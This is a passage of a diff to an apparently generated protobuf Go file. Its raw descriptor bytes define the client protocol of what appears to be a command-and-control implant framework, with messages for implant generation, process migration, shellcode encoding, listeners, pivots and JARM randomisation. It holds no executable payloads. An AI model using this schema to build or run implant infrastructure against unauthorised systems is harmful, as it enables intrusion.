0x09, 0x52, - 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, - 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, - 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, - 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, - 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, - 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, - 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, + 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, + 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, + 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, + 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, + 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, + 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, + 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, + 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, + 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, + 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, + 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, + 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, + 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, + 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, + 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, + 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, + 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, + 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, + 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, + 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, + 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, + 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, + 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, + 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, + 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, + 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, + 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, + 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, + 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, + 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, + 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, + 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, + 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, + 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, + 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, + 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 